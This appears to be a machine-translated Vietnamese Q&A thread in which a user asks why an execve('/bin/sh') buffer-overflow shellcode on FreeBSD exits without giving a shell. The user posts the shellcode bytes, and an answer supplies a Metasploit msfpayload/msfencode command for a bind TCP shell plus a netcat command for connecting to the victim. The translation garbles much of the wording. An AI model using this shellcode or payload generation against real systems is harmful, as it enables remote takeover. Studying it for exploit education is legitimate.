2012-05-26 34 views
6

Tôi đã thử nghiệm với tràn bộ đệm trên hệ thống FreeBSD. Là thử nghiệm đầu tiên tôi đã cố gắng để có được chương trình khai thác để bắt đầu một quá trình khác (/ bin/tên máy chủ trong trường hợp này). Tất cả đều hoạt động tốt, chương trình đã in tên máy chủ và sau đó chấm dứt. Sau đó tôi đã cố gắng để làm cho chương trình đẻ trứng một vỏ (tức là thực hiện/bin/sh). Tôi cho rằng điều này có thể được thực hiện bằng cách trao đổi chuỗi đại diện cho chương trình được gọi. Khi tôi thử chương trình khai thác này chỉ đơn giản là thoát, theo gdb nó thành công sinh ra một quá trình mới (/ bin/sh). Tuy nhiên, không có vỏ nào được sinh ra. Sau đó tôi đã thử khai thác đầu tiên của mình và chuyển tệp/bin/sh sang/bin/tên máy chủ, vẫn không thay đổi bất kỳ thứ gì. Câu hỏi của tôi bây giờ, điều gì có vẻ khác về thực thi/bin/sh từ bất kỳ lệnh nào khác?Tràn bộ đệm - Chương trình chấm dứt sau khi sinh sản một vỏ

Để tham khảo, cho nỗ lực vỏ đẻ trứng tôi đã sử dụng shellcode sau:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50" 
"\x54\x53\xb0\x3b\x50\xcd\x80"; 
+0

Điều này có thể liên quan: http://forums.freebsd.org/showthread.php?t=10054 – zxcdw

+0

Thông tin thêm có vẻ là cần thiết, vì vậy hãy đăng mã của bạn bao gồm mã nguồn shellcode của bạn để mọi người có thể xem xét. – rumpel

Trả lời

3

Hah, tôi thấy những gì bạn có ý nghĩa, nhưng tôi tin rằng bạn đang làm cho một sai lầm cơ bản. Bạn đang gọi một trình bao tương tác mà không ràng buộc nó.

Giống như gọi lệnh "ifconfig". Nếu bạn muốn một lệnh duy nhất được thực hiện, thì mã shell của bạn là hoàn hảo, tuy nhiên nếu bạn muốn có một trình bao tương tác, bạn không thể chạy sh.

Chỉ cần chạy sh sẽ làm cho trình bao được thực hiện, nó sẽ không cho phép bạn điều khiển tương tác trên trình bao.


Giải pháp: Sử dụng một máy phát điện mã shell để thực hiện một vỏ tcp ngược hoặc một vỏ ràng buộc và sử dụng như là tải trọng cho bạn khai thác.

Nếu bạn đang cố gắng thực hiện điều này trong Metasploit thì đây là lệnh mẫu bạn muốn.

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c 
  • Msfpayload là tên của hàm. cửa sổ/shell_bind_tcp là khai thác đường
  • LPORT là cổng mà trên đó các máy tính nạn nhân từ xa sẽ có vỏ thể truy cập
  • R là cho sản lượng thô
  • Sau đó chúng tôi ống đó để msfencode vì chúng ta cần nó để được mã C để được thực thi và nó phải được biên soạn cho kiến ​​trúc mà
  • -e biểu thị kiểu mã hóa và kiến ​​trúc để hỗ trợ, các ví dụ là cho Win SP2
  • -b biểu thị các byte bạn có thể không sử dụng trong vỏ mã. Ví dụ 00 là phần cuối của chuỗi byte
  • -t là loại đầu ra, dưới dạng mã C.

Nghiên cứu thêm một chút và chơi xung quanh và bạn sẽ hiểu. Về cơ bản nó khó khăn hơn nhiều để có được một vỏ tương tác so với thực hiện một lệnh tĩnh.

Sau khi hoàn tất, bạn có thể sử dụng một chương trình như netcat để kết nối và sử dụng trình bao.

netcat.exe -nv <victim ip> <port where shell was bound to> 

Hy vọng đây là giải pháp phù hợp.

Các vấn đề liên quan